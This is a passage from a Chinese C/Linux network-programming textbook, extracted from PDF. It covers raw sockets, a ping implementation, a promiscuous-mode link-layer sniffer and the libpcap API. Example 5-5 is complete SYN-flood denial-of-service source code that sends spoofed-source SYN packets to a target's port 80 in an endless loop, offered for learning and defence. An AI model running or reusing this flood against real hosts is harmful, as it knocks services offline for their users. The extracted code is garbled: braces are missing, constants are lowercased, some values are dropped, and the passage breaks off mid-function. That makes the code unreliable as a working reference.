此外还有其他内核不清楚的协议包也可由原始套接字发送, 比如路由协议包 OSPF 例 5-5 结合前面的讨论, 这里给出 DoS 攻击的源代码, 以此来学习并理解原始套接字, 并为今后防范此类攻击做些技术积累 先介绍一下 DoS DoS(Denial of Service, 拒绝服务攻击 ) 是一种对网络危害巨大的恶意攻击, 其根本目的是使受害主机或网络无法及时接收并处理外界请求, 或无法及时回应外界请求, 是当前黑客普遍使用的一种攻击方式 其攻击原理如图 5.24 所示 图 5.24 DoS 攻击原理

38 192 基于 UNIX/Linux 的 C 系统编程 根据 TCP/IP 协议, 在正常情况下, 当客户机 (A) 向服务器 (B) 发出连接请求 SYN, 服务器接到 SYN 之后应发送 ACK 给客户机, 但此时由于客户机在发送 SYN 时已经修改了源地址, 服务器收到这样的数据包时, 就将 ACK( 和 SYN) 发送给一个目标地址不存在的主机或非源主机, 并且等待目标主机发送过来的 ACK 应答, 直到超时 而 TCP 未连接队列的长度是有限的, 当队列中有许多这样的连接时, 正常的连接将无法处理, 从而产生拒绝服务 程序代码如下 : #include <sys/socket.h> #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <strings.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netinet/ip.h> #include <netinet/tcp.h> #define DESTPORT 80 /* 要攻击的端口 (Web)*/ #define LOCALPORT 8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char **argv) int sockfd; struct sockaddr_in addr; int on; on=1; if(argc!=2) fprintf(stderr,"usage:%sip\n",argv[0]); exit(1); bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=pf_inet; addr.sin_port=htons(destport); inet_aton(argv[1],&addr.sin_addr); /* **** 使用 IPPROTO_TCP 创建一个 TCP 的原始套接字 ****/ sockfd=socket(pf_inet,sock_raw,ipproto_tcp); if(sockfd<0) perror("socket Error"); exit(1); /* 设置 IP 数据包格式, 告诉系统内核模块 IP 数据包由用户自己来填写 */ setsockopt(sockfd,ipproto_ip,ip_hdrincl,&on,sizeof(on)); /**** 只有超级用户才可以使用原始套接字 ***/

39 第 5 章网络通信 193 setuid(getuid()); send_tcp(sockfd,&addr); /* 发送假 SYN 包 **/ void send_tcp(int sockfd,struct sockaddr_in *addr) char buffer[100];/* 用来放置用户自定义的数据包 ****/ struct ip *ip; struct tcphdr *tcp; int head_len; /* 由于用户数据包实际上没有任何内容, 所以其长度就是两个结构的长度 */ head_len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer,100); /******** 填充 IP 数据包的头部 ******/ ip=(struct ip *)buffer; ip->ip_v=ipversion;/** 版本一般的是 4**/ ip->ip_hl=sizeof(struct ip)>>2;/**ip 数据包的头部长度 **/ ip->ip_tos=0;/** 服务类型 **/ ip->ip_len=htons(head_len);/**ip 数据包的长度 **/ ip->ip_id=0;/** 由内核填写 **/ ip->ip_off=0; ip->ip_ttl=maxttl; /* 最长的时间 255*/ ip->ip_p=ipproto_tcp;/** 表示将要发送的包是 TCP 包 **/ ip->ip_sum=0;/** 校验和由系统完成 **/ ip->ip_dst=addr->sin_addr;/** 将要攻击的对象机地址 **/ printf("dest address is %s\n",inet_ntoa(addr->sin_addr)); /******* 开始填写 TCP 数据包 *****/ tcp=(struct tcphdr *)(buffer+sizeof(struct ip)); tcp->source=htons(localport); tcp->dest=addr->sin_port;/** 目的端口 **/ tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1;/** 要建立连接 **/ tcp->check=0; /** 数据包构造完成, 接下来开始攻击 */ while(1) ip->ip_src.s_addr=random(); printf("addr is%d\n",ip->ip_src.s_addr); sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,sizeof(struct sockaddr)); 攻击方程序运行结果如图 5.25 所示 受害方程序运行结果如图 5.26 所示

40 194 基于 UNIX/Linux 的 C 系统编程 图 5.25 例 5-5 攻击方程序运行结果 图 5.26 例 5-5 受攻击方的异常反应 例 5-6 通过原始套接字编写一个程序, 用以实现 命令 ping 功能 其程序代码如下 : #include <stdio.h> #include <signal.h> #include <arpa/inet.h> #include <sys/types.h> #include <sys/socket.h> #include <unistd.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netdb.h> #include <setjmp.h> #include <errno.h> #define PACKET_SIZE 4096 #define MAX_WAIT_TIME 8 #define MAX_NO_PACKETS 5 char sendpacket[packet_size]; char recvpacket[packet_size]; int sockfd,datalen=56; int nsend=0,nreceived=0; struct sockaddr_in dest_addr; pid_t pid; struct sockaddr_in from; struct timeval tvrecv; void statistics(int signo); unsigned short cal_chksum(unsigned short *addr,int len); int pack(int pack_no); void send_packet(void); void recv_packet(void); int unpack(char *buf,int len); void tv_sub(struct timeval *out,struct timeval *in);

41 第 5 章网络通信 195 void statistics(int signo) printf("\n ping statistics \na"); printf("%d packets transmitted, %d received, %%%d lost\n",nsend,nreceived, (nsend-nreceived)/nsend*100); close(sockfd); exit(1); /* 校验和算法 */ unsigned short cal_chksum(unsigned short *addr,int len) int nleft=len; int sum=0; unsigned short *w=addr; unsigned short answer=0; /* 把 ICMP 报头二进制数据以 2 字节为单位累加起来 */ while(nleft>1) sum+=*w++; nleft-=2; /* 若 ICMP 报头为奇数个字节, 会剩下最后一个字节 把最后一个字节视为一个 2 字节数据的高字节, 这个 2 字节数据的低字节为 0, 继续累加 */ if( nleft==1) *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return answer; /* 设置 ICMP 报头 */ int pack(int pack_no) int I,packsize; struct icmp *icmp; struct timeval *tval; icmp=(struct icmp*)sendpacket; icmp->icmp_type=icmp_echo; icmp->icmp_code=0; icmp->icmp_cksum=0; icmp->icmp_seq=pack_no; icmp->icmp_id=pid; packsize=8+datalen; tval= (struct timeval *)icmp->icmp_data; gettimeofday(tval,null); /* 记录发送时间 */

42 196 基于 UNIX/Linux 的 C 系统编程 icmp->icmp_cksum=cal_chksum( (unsigned short *)icmp,packsize); /* 校验算法 */ return packsize; /* 发送五个 ICMP 报文 */ void send_packet() int packetsize; while( nsend<max_no_packets) nsend++; packetsize=pack(nsend); /* 设置 ICMP 报头 */ if( sendto(sockfd,sendpacket,packetsize,0, (struct sockaddr *)&dest_addr,sizeof(dest_addr) )<0 ) perror("sendto error"); continue; sleep(1); /* 每隔一秒发送一个 ICMP 报文 */ /* 接收所有 ICMP 报文 */ void recv_packet() int n,fromlen; extern int errno; signal(sigalrm,statistics); fromlen=sizeof(from); while( nreceived<10) alarm(max_wait_time); if( (n=recvfrom(sockfd,recvpacket,sizeof(recvpacket),0, (struct sockaddr *)&from,&fromlen)) <0) if(errno==eintr)continue; perror("recvfrom error"); continue; gettimeofday(&tvrecv,null); /* 记录接收时间 */ if(unpack(recvpacket,n)==-1)continue; nreceived++; /* 剥去 ICMP 报头 */ int unpack(char *buf,int len) int I,iphdrlen;

43 第 5 章网络通信 197 struct ip *ip; struct icmp *icmp; struct timeval *tvsend; double rtt; ip=(struct ip *)buf; iphdrlen=(ip->ip_hl)*4; /* 求 ip 报头长度, 即 ip 报头的长度标志乘 4*/ icmp=(struct icmp *)(buf+iphdrlen); /* 越过 ip 报头, 指向 ICMP 报头 */ len-=iphdrlen; /*ICMP 报头及 ICMP 数据报的总长度 */ if( len<8) /* 小于 ICMP 报头长度则不合理 */ printf("icmp packets\ s length is less than 8\n"); return -1; /* 确保所接收的是我所发的 ICMP 的回应 */ if( (icmp->icmp_type==icmp_echoreply) && (icmp->icmp_id==pid) ) tvsend=(struct timeval *)icmp->icmp_data; tv_sub(&tvrecv,tvsend); /* 接收和发送的时间差 */ rtt=tvrecv.tv_sec*1000+tvrecv.tv_usec/1000; /* 以毫秒为单位计算 rtt*/ /* 显示相关信息 */ printf( %d byte from %s: icmp_seq=%u ttl=%d rtt=%.3f ms\n", len, inet_ntoa(from.sin_addr), icmp->icmp_seq, ip->ip_ttl, rtt); else return -1; int main(int argc,char *argv[]) struct hostent *host; struct protoent *protocol; unsigned long inaddr=0l; int waittime=max_wait_time; int size=50*1024; if(argc<2) printf("usage:%s hostname/ip address\n",argv[0]); exit(1); if( (protocol=getprotobyname("icmp") )==NULL) perror("getprotobyname"); exit(1); /* 生成使用 ICMP 的原始套接字, 这种套接字只有 root 才能生成 */ if( (sockfd=socket(pf_inet,sock_raw,protocol->p_proto) )<0) perror("socket error");

44 198 基于 UNIX/Linux 的 C 系统编程 exit(1); /* 回收 root 权限, 设置当前用户权限 */ setuid(getuid()); /* 扩大套接字接收缓冲区到 50K, 这样做主要为了减小接收缓冲区溢出的可能性, 若无意中 ping 一个广播地址或多播地址, 将会引来大量应答 */ setsockopt(sockfd,sol_socket,so_rcvbuf,&size,sizeof(size) ); bzero(&dest_addr,sizeof(dest_addr)); dest_addr.sin_family=pf_inet; if((host=gethostbyname(argv[1]))==null) perror("gethostbyname error"); exit(1); dest_addr.sin_addr = *((struct in_addr *) host->h_addr); pid=getpid(); printf("ping %s(%s): %d bytes data in ICMP packets.\n",argv[1], inet_ntoa(dest_addr.sin_addr),datalen); send_packet(); /* 发送所有 ICMP 报文 */ recv_packet(); /* 接收所有 ICMP 报文 */ statistics(sigalrm); /* 进行统计 */ return 0; /* 两个 timeval 结构相减 */ void tv_sub(struct timeval *out,struct timeval *in) if( (out->tv_usec-=in->tv_usec)<0) --out->tv_sec; out->tv_usec+= ; out->tv_sec-=in->tv_sec; 运行结果如图 5.27 所示 图 5.27 例 5-6 运行结果 综上所述, 原始套接字可以处理 IP 层及其以上的数据, 比如实现 SYN FLOOD 攻击

45 第 5 章网络通信 199 处理 PING 报文等 而当需要操作更底层的数据的时候, 则需要采用其他的方式 基于链路层的通信 目前, 针对数据链路层的应用并不多, 更多的应用往往集中在网络的传输层或应用层 这就造成通用网络技术大都止步于传输层, 能够在 IP 层及以下层的通信技术并不是很多 对操作系统而言, 能够为应用程序提供的访问数据链路层的方法 ( 接口 ) 也是有限的, 其主要表现在两大技术 : 包过滤和包捕获 1. 包过滤机制与包捕获机制所谓包过滤机制, 实际上是针对数据包的布尔值操作函数, 若函数最终返回 true, 则通过过滤, 反之则被丢弃 形式上包过滤由一个或多个谓词判断的与操作 (AND) 和或操作 (OR) 构成, 每一个谓词判断基本上对应了数据包的协议类型或某个特定值, 例如, 只过滤 FTP 服务中有关会话的数据包, 则其判断谓词可以描述为 TCP 类型且目的端口为 21 的数据包 包过滤操作可在用户空间执行, 也可在内核空间执行, 但由于数据包从内核空间复制到用户空间的开销很大, 所以一般在内核空间进行过滤 所谓包捕获机制, 则是利用以太网的介质共享的特性, 通过将网络适配器设置为混杂模式的方法, 接收网络上所有的以太网帧 包捕获机制可分为两类 : 操作系统内核提供的捕获机制, 如 BPF 机制 应用软件或系统开发包捕获驱动程序提供的捕获机制, 如 LIBPCAP 函数库 过滤机制在包捕获机制中占中心地位, 有捕获数据包必然有过滤操作 一个完整的包捕获和过滤机制包含 3 个层次 : (1) 最高层是针对用户程序的接口 (2) 中间层是包过滤机制 (3) 最底层是特定操作系统的包捕获机制 为实现上述机制, 这里介绍几个具有典型代表的编程技术 :BPF LIBPCAP 函数库和链路层套接字技术 2. 通过链路层套接字实现过滤与捕获在本节之前曾讨论了通过原始套接字来实现 IP 层及其以上协议层的通信 ( 注意 : 只有在使用 IP_HDRINCL 选项之后才能操作 IP 层数据 ), 如下所示 : int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP); 其中函数中的第一个参数 PF_INET, 规定了该套接字只能使用 PF_INET 协议簇下的协议, 如 TCP UDP ICMP 和 IP 协议等 使用该套接字可以接收发向本机的 IP 数据包, 但它无法接收发往其他主机的数据包和从本机发出的数据包 而对于链路层 ( 主要是 MAC 层 ) 的数据帧的处理, 则该套接字无能为力, 因为其最深只能控制到 IP 数据包头部的第一个字节 为此,Linux 在其 2.2 版本之后引入了 PF_PACKET 协议簇来进行对底层数据包的控制 PF_PACKET 协议簇是与 TCP/IP 协议栈并行的同级别模块, 它可以旁路 TCP/IP 协议栈直

46 200 基于 UNIX/Linux 的 C 系统编程 接实现网络通信 作为一种协议簇, 它可以对应两种不同的套接字类型 :SOCK_RAW 和 SOCK_DGRAM 当使用 SOCK_RAW 时, 则由程序员来填写链路层头部数据, 但若使用 SOCK_DGRAM, 则由内核来处理链路层协议头 对于 socket(pf_packet, SOCK_RAW, htons(x)) 所创建出来的套接字, 可以监听网卡上的所有数据帧 : 能够接收发往本地 MAC 的数据帧 能够接收从本机发送出去的数据帧 ( 注 : 第 3 个参数需要设置为 ETH_P_ALL) 能够接收非发往本地 MAC 的数据帧 ( 网卡需要设置为 promisc 混杂模式 ) 使用原始套接字编程可以接收到本机网卡上的数据帧或者数据包, 对于包过滤和数据包捕获是很有作用的 例 5-7 设计一个链路层抓包程序 #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <netdb.h> #include "zethertype.h" #include <sys/ioctl.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/in.h> #include <netpacket/packet.h> #include <net/ethernet.h> #include <net/if.h> #include <arpa/inet.h> #include <errno.h> /* 接收缓冲区大小 */ #define RCV_BUF_SIZE 1024 * 5 /* 接收缓冲区 */ static int g_irecvbufsize = RCV_BUF_SIZE; static char g_acrecvbuf[rcv_buf_size] = 0; /* 物理网卡接口, 需要根据具体情况修改 */ static const char *g_szifname = "eth0"; /* 以太网帧封装的协议类型 */ static const int g_iethproid[] = ETHERTYPE_PUP,ETHERTYPE_SPRITE, ETHERTYPE_IP,ETHERTYPE_ARP,ETHERTYPE_REVARP,ETHERTYPE_AARP,ETHERTYPE_ LOOPBACK; static const char g_szproname[][24] = "none", "xerox pup", "sprite", "ip", "arp", "rarp", "apple-protocol", "apple-arp", "802.1q", "ipx", "ipv6", "loopback" ; /* 输出 MAC 地址 */

47 第 5 章网络通信 201 static void ethdump_showmac(const int itype, const char achwaddr[]) int I = 0; if (itype == 0) printf("smac=["]; else printf("dmac=["]; for(i = 0; I < ETHER_ADDR_LEN 1; i++) printf("%02x: ", *((unsigned char *)&(achwaddr[i]))); printf("%02x)\n ", *((unsigned char *)&(achwaddr[i]))); /* 物理网卡混杂模式属性操作 */ static int ethdump_setpromisc(const char *pcifname, int fd, int iflags) int iret = -1; struct ifreq stifr; /* 获取接口属性标志位 */ strcpy(stifr.ifr_name, pcifname); iret = ioctl(fd, SIOCGIFFLAGS, &stifr); if (iret < 0) perror(" [Error]Get Interface Flags"); return -1; if (iflags == 0) /* 取消混杂模式 */ stifr.ifr_flags &= ~IFF_PROMISC; else /* 设置为混杂模式 */ stifr.ifr_flags = IFF_PROMISC; iret = ioctl(fd, SIOCSIFFLAGS, &stifr); if (iret < 0) perror(" [Error]Set Interface Flags"); return -1; return 0;

48 202 基于 UNIX/Linux 的 C 系统编程 /* 获取 L2 帧封装的协议类型 */ static char *ethdump_getproname(const int ipronum) int iindex = 0; for(iindex = 0; iindex < sizeof(g_iethproid) / sizeof(g_iethproid[0]); iindex++) if (ipronum == g_iethproid[iindex]) break; return (char *)(g_szproname[iindex + 1]); /* Init L2 socket */ static int ethdump_initsocket() int iret = -1; int fd = -1; struct ifreq stif; struct sockaddr_ll stlocal = 0; /* 创建 SOCKET */ fd = socket(pf_packet, SOCK_RAW, htons(eth_p_all)); if (fd < 0) perror(" [Error]Initinate L2 raw socket"); return -1; /* 网卡混杂模式设置 */ ethdump_setpromisc(g_szifname, fd, 1); /* 设置 SOCKET 选项 */ iret = setsockopt(fd, SOL_SOCKET, SO_RCVBUF,&g_iRecvBufSize,sizeof(int)); if (iret < 0) perror(" [Error]Set socket option"); close(fd); return -1; /* 获取物理网卡接口索引 */ strcpy(stif.ifr_name, g_szifname); iret = ioctl(fd, SIOCGIFINDEX, &stif); if (iret < 0) perror("[error]ioctl operation"); close(fd); return -1;

49 第 5 章网络通信 203 /* 绑定物理网卡 */ stlocal.sll_family = PF_PACKET; stlocal.sll_ifindex = stif.ifr_ifindex; stlocal.sll_protocol = htons(eth_p_all); iret = bind(fd, (struct sockaddr *)&stlocal, sizeof(stlocal)); if (iret < 0) perror("[error]bind the interface"); close(fd); return -1; return fd; /* 解析 Ethernet 帧首部 */ static int ethdump_parseethhead(const struct ether_header *pstethhead) unsigned short usethpkttype; if (NULL == pstethhead) return -1; /* 协议类型 源 MAC 目的 MAC */ usethpkttype = ntohs(pstethhead->ether_type); printf("\n[get:]eth-pkt-type:0x%04x(%s)\n ", usethpkttype, ethdump_getproname(usethpkttype)); ethdump_showmac(0, pstethhead->ether_shost); ethdump_showmac(1, pstethhead->ether_dhost); return 0; /* 解析 IP 数据包头 */ static int ethdump_parseiphead(const struct ip *pstiphead) struct protoent *pstipproto = NULL; if (NULL == pstiphead) return -1; /* 协议类型 源 IP 地址 目的 IP 地址 */ pstipproto = getprotobynumber(pstiphead->ip_p); if(null!= pstipproto) printf(" IP-Pkt-Type:%d(%s)\n ", pstiphead->ip_p, pstipproto->p_name); else

50 204 基于 UNIX/Linux 的 C 系统编程 printf(" IP-Pkt-Type:%d(%s)\n ", pstiphead->ip_p, "None"); printf("saddr=[%s]\n ", inet_ntoa(pstiphead->ip_src)); printf("daddr=[%s]\n ", inet_ntoa(pstiphead->ip_dst)); return 0; /* 数据帧解析函数 */ static int ethdump_parseframe(const char *pcframedata) int iret = -1; struct ether_header *pstethhead = NULL; struct ip *pstiphead = NULL; /* Ethnet 帧头解析 */ pstethhead = (struct ether_header*)g_acrecvbuf; iret = ethdump_parseethhead(pstethhead); if (0 > iret) return iret; /* IP 数据包类型 */ pstiphead = (struct ip *)(pstethhead + 1); iret = ethdump_parseiphead(pstiphead); return iret; /* 捕获网卡数据帧 */ static void ethdump_startcapture(const int fd) int iret = -1; socklen_t stfromlen = 0; /* 循环监听 */ while(1) /* 清空接收缓冲区 */ memset(g_acrecvbuf, 0, RCV_BUF_SIZE); /* 接收数据帧 */ iret = recvfrom(fd, g_acrecvbuf, g_irecvbufsize, 0, NULL, &stfromlen); if (0 > iret) continue; /* 解析数据帧 */ ethdump_parseframe(g_acrecvbuf); /* Main */ int main(int argc, char *argv[])

51 第 5 章网络通信 205 int iret = -1; int fd = -1; /* 初始化 SOCKET */ fd = ethdump_initsocket(); if(0 > fd) return -1; /* 捕获数据包 */ ethdump_startcapture(fd); /* 关闭 SOCKET */ close(fd); return 0; 运行结果如图 5.28 所示 3. 通过 BPF 技术实现过滤与捕获 BPF(BerkeleyPacketFilter), 即伯克利数据包过滤器 当时 (1992 年 ) 出现了对网络监控工具的强烈要求, 主要用来分析和排除网络故障 但是大多数网络监控工具运行在用户态空间, 数据包必须从内核拷贝到用户空间, 重复的拷贝工作必然会影响效率和速度, 特别是对分析某种网络数据时由于来不及处理而导致丢包率过高 而 BPF 的出现, 使得这一矛盾相对缓解 BPF 过滤器是基于内核的一个代理进程, 它可以在内核态下丢弃那些不需要的数据包, 接受需要的数据包 BPF 主要由两部分组成 : 图 5.28 例 5-7 运行结果 Network tap( 分头器 ) 和 Packet Filter( 过滤器 ) Network tap 是一个回调函数 (callback function), 它实时监视共享网络中的所有数据包, 从网络设备驱动程序中搜集数据复制并转发给包过滤器 Packet Filter 决定是否接收该数据包, 以及接收该数据包的哪些部分 如图 5.29 所示 当数据包到达网络接口设备时, 链路层设备驱动器通常把它们传送给系统协议堆栈进行处理 但是, 当 BPF 也在该网络接口上监听时, 驱动器将会首先调用 BPF BPF 会将数据包传递给每个监控进程的过滤器 这些用户自定义的过滤器将决定数据包是否被接受, 以及数据包中的哪些内容应该被保存下来 对于每一个决定接受数据包的过滤器,BPF 将所需的数据包复制到与之相连的缓存中 然后设备驱动程序重新获得控制权 此时, 如果数据包的目的地址不是本机地址, 则驱动程序从中断过程返回 否则, 将进行正常的网络协议处理过程 虽然 BPF 包捕获技术提供了基于内核的过滤和缓冲, 在高速网络中可获得良好的性能, 但是由于 BPF 处于内核级编程的范畴, 所以其通用性不强, 推广较困难, 此处不再

52 206 基于 UNIX/Linux 的 C 系统编程 赘述 4. 通过 LIBPCAP 函数库实现过滤与捕获 LIBPCAP 是 UNIX/Linux 平台下的网络数据报捕获函数库, 大多数网络监控软件都以它为基础 由于它提供了独立于系统的用户级网络数据包捕获接口, 并充分考虑到应用程序的可移植性, 所以其应用领域较广泛 LIBPCAP 函数库只支持基于 BPF 的数据过滤机制, 若没有 BPF 的支持, 数据包将全部被读入用户空间 该函数库提供了接口函数供其他程序调用, 可以捕获 分析和过滤数据包, 以获得感兴趣的数据包 包捕获系统的流程如图 5.30 所示 图 5.29 BPF 与操作系统部分的接口 图 5.30 包捕获流程图 LIBPCAP 库提供 pcap_open_live 函数打开网络设备并且初始化设备, 由用户自定义过滤规则,pcap_compile 函数将规则字符串转化为内核过滤程序 ; 然后设定一个过滤程序 pcap_setfilter 传给 BPF, 由 BPF 过滤器捕获用户所需要的数据包, 最后由 pcap_close 函数关闭设备, 并释放资源 1)pcap_open_live 函数和 pcap_close 函数前一函数用于捕获网络数据包的网络识别描述符, 而后一函数则是与之对应的逆操作 : 关闭已打开的网络设备描述符, 并释放资源 其函数说明如表 5.13 所示 所需头文件函数原型参数返回值 表 5.13 pcap_open_live 函数和 pcap_close 函数语法要点 #include <pcap.h> pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf); void pcap_close(pcap_t *p); device: 指定打开的网络设备名 snaplen: 定义捕获数据的最大字节数 promisc: 指定是否将网络接口置于混杂模式 to_ms: 指定超时时间 (ms) ebuf: 当发生错误时, 存储错误信息 p: 已打开的网络识别描述符 若函数 pcap_open_live 调用成功, 则返回网络识别描述符, 否则返回 1 并将错误码写入 errno 函数 pcap_close 无返回

53 第 5 章网络通信 207 2)pcap_compile 函数和 pcap_setfilter 函数前者将指定的字符串编译到过滤程序中, 而后者则是根据前者生成的过滤程序进行设定, 从而使之生效 其函数说明如表 5.14 所示 所需头文件函数原型参数返回值 表 5.14 pcap_compile 函数和 pcap_close 函数语法要点 #include <pcap.h> int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask); int pcap_setfilter(pcap_t *p, struct bpf_program *fp); p: 已打开的网络识别描述符 fp: 一个 bpf_program 结构指针, 在函数中被赋值 str: 指定编译到过滤程序中的字符串 optimize: 控制结果代码的优化 netmask: 指定本地网络的网络掩码 两函数若调用成功, 则都返回 0, 否则返回 1 并将错误码写入 errno 3)pcap_dispatch 函数和 pcap_loop 函数这两个函数都可以用于捕获并处理数据包 不同的是, 前者在读取超时时会返回, 而后者则以读取数据包个数 ( 参数 cnt) 为依据, 其返回与超时无关 其函数说明如表 5.15 所示 所需头文件函数原型参数返回值 表 5.15 pcap_dispatch 函数和 pcap_loop 函数语法要点 #include <pcap.h> int pcap_dispatch(pcap_t *p, int cnt, pcap_handler callback, u_char *user); int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user); p: 已打开的网络识别描述符 cnt: 若为 0: 表示无限制, 永远读, 直到出错, 函数 pcap_loop 才返回 若为 1: 表示出错, 停止捕获若为非 0 正数 : 指定函数返回前所处理数据包的个数 callback: 指定一个带有 3 个参数的回调函数 这 3 个参数分别是一个从 pcap_dispatch 函数或 pcap_loop 函数传递过来的 u_char 指针, 一个是 pcap_pkthdr 结构的指针, 以及一个数据报大小的 u_char 指针 user: 传递给回调函数的参数 两函数若调用成功, 返回读取到的字节数, 否则返回 1 并将错误码写入 errno 4)pcap_lookupdev 函数和 pcap_lookupnet 函数前者用于获得可用网络接口的设备名, 而后者则是用于获取网络地址和掩码 其函数说明如表 5.16 所示 所需头文件 函数原型 参数 表 5.16 pcap_lookupdev 函数和 pcap_lookupnet 函数语法要点 #include <pcap.h> char *pcap_lookupdev(char *errbuf); int pcap_lookupnet(char *device, bpf_u_int *netp, bpf_u_int32 *maskp, char *errbuf); device: 使用的网络设备名 netp: 网络设备的网络地址 ( 返回值 ) maskp: 网络设备的掩码 ( 返回值 ) errbuf: 返回的错误文本 ( 返回值 )

54 208 基于 UNIX/Linux 的 C 系统编程 返回值 续表函数 pcap_lookupdev 若调用成功, 则返回网络设备名指针, 否则返回 NULL, 并将错误信息存储在 errbuf 中, 该函数的返回值可被 pcap_open_live 或 pcap_lookupnet 函数使用 ; 函数 pcap_lookupnet 若调用成功, 则返回 0, 否则返回 1 并将错误信息写入 errbuf 5) 其他函数此外还需要其他相关函数来保证程序的运行, 其函数原型如下 : #include <pcap.h> u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h); int pcap_datalink(pcap_t *p); char *pcap_geterr(pcap *p); 函数 pcap_next 用于获取指向下一个数据包的指针, 其中 pcap_pkthdr 是用于描述数据包信息的结构 ( 本节将会讲到 ),h 为指向该结构的指针, 函数若调用成功, 则返回指向下一个数据包的指针, 否则返回 NULL 函数 pcap_datalink 则是用于获取数据链路层类型, 如 DLT_EN10MB 或 DLT_PPP 等 若调用成功, 则返回数据链路层类型, 否则返回 1 函数 pcap_geterr 用于获取最后一个 pcap 库错误消息, 若调用成功返回该错误信息, 否则返回 NULL 6)LIBPCAP 相关数据结构在进行 LIBPCAP 编程时, 必须要了解两个重要的数据结构, 它们是用于描述数据包相关信息的 pcap 结构和用于定义数据包头部信息的 pcap_pkthdr 结构 前者定义在 pcap-int.h 中, 后者定义在 pcap.h 中, 其结构如下 : typedef struct pcap pcap_t; struct pcap int fd; /* 文件描述字, 实际就是 socket */ int snapshot; /* 用户期望的捕获数据包最大长度 */ int linktype; / * 设备类型 */ int tzoff; /* 时区位置, 实际上没有被使用 */ int offset; /* 边界对齐偏移量 */ struct pcap_sf sf; /* 数据包保存到文件的相关配置数据结构 */ struct pcap_md md; /* 捕获句柄的接口 */ int bufsize; /* 读缓冲区的长度 */ u_char * buffer; /* 读缓冲区指针 */ u_char * int u_char * bp; cc; pkt; struct bpf_program fcode; char errbuf[pcap_errbuf_size]; struct pcap_pkthdr struct trmeval ts; /* time stamp */

55 第 5 章网络通信 209 bpf_u_int32 caplen; /* 表示抓到的数据长度 */ bpf_u_int32 len; /* 表示数据包的实际长度 */ 其中 ts 是一个结构 struct timeval, 该结构有两个部分 : 第一部分是 1900 开始以来的秒数 ; 第二部分是当前秒之后的毫秒数 例 5-8 利用 LIBPCAP 技术实现例 5-7 功能 #include <stdio.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <unistd.h> #include <netdb.h> #include <strings.h> #include <arpa/inet.h> #include <pcap.h> #include <signal.h> #include <net/if.h> #include <net/ethernet.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <error.h> #include <time.h> #define snaplen 1000 #define promisc 1 pcap_t *pcap; int datalink; char src[20],dst[20]; struct pcap_pkthdr hdr; int pcap_open(char *); char *next_pcap(int *); void analysis(char *,int); void tcp(char *,int); void udp(char *,int); void icmp(char *,int); void cleanup(int); int main(int argc, char **argv) int len; char *ptr; if( argc > 2 ) printf("usage: %s \"filter condition\"",argv[0]); exit(1); if(pcap_open(argv[1])== -1)

56 210 基于 UNIX/Linux 的 C 系统编程 printf("i can not open device.\n"); exit(0); setuid(getuid()); signal(sigterm,cleanup); signal(sigint,cleanup); signal(sighup,cleanup); while(1) ptr=next_pcap(&len); analysis(ptr,len); pcap_close(pcap); int pcap_open(char * filter) char *dev,*error; struct bpf_program fp; bpf_u_int32 net,netmask; if((dev=pcap_lookupdev(error))==null) return(-1); printf("from network device: %s\n",dev); if((pcap=pcap_open_live(dev,1000,promisc,0,error))==null) return(-1); if(filter!=null) if(pcap_lookupnet(dev,&net,&netmask,error) == -1) pcap_close(pcap); return(-1); if(pcap_compile(pcap,&fp,filter,0,netmask) == -1) pcap_close(pcap); return(-1); if(pcap_setfilter(pcap,&fp) == -1) pcap_close(pcap); return(-1); if((datalink=pcap_datalink(pcap))<0) pcap_close(pcap); return(-1); return(0); char *next_pcap(int *len) char *ptr;

57 第 5 章网络通信 211 while((ptr=(char *)pcap_next(pcap,&hdr))==null); *len=hdr.caplen; return(ptr); void analysis(char *ptr,int len) int hlen; struct ip *ip; struct ether_header *eptr; struct tm *time; switch(datalink) case DLT_NULL: ptr+=4; len-=4; break; case DLT_EN10MB: eptr=(struct ether_header *)ptr; if(ntohs(eptr->ether_type)!=ethertype_ip) printf("ethernet type %x not IP.\n",ntohs(eptr->ether_type)); return; ptr+=14; len-=14; break; case DLT_SLIP: case DLT_PPP: ptr+=24; len-=24; break; default: return; ip=(struct ip *)ptr; if(ip->ip_v!= IPVERSION) printf("error ip version.\n"); return; hlen=ip->ip_hl<<2; if(hlen < sizeof(struct ip)) printf("ip len %d is error.\n",ip->ip_hl); return; inet_ntop(af_inet,(void *)&ip->ip_src,src,20); inet_ntop(af_inet,(void *)&ip->ip_dst,dst,20); time=gmtime((time_t* )&hdr.ts.tv_sec);

58 212 基于 UNIX/Linux 的 C 系统编程 printf("%8.8s:%ld",ctime((time_t *)&hdr.ts.tv_sec)+11,hdr.ts.tv_usec); switch(ip->ip_p) case IPPROTO_UDP: udp(ptr+hlen,len-hlen); break; case IPPROTO_TCP: tcp(ptr+hlen,len-hlen); break; case IPPROTO_ICMP: icmp(ptr+hlen,len-hlen); break; default: printf("not recognize packet.\n"); break; void tcp(char *ptr,int len) struct tcphdr *tcph; tcph=(struct tcphdr *)ptr; printf("%15s:%-4d->%15s:%-4d",src,ntohs(tcph->source),dst,ntohs(tcph-> dest)); printf(" Seq:%ld ACK:%ld", ntohl(tcph->seq),ntohl(tcph->ack_seq)); printf(" Win:%-6d\n",ntohs(tcph->window)); void udp(char *ptr,int len) struct udphdr *udph; udph=(struct udphdr *)ptr; printf("%15s -> %15s\n",src,dst); void icmp(char *ptr,int len) printf("%15s -> 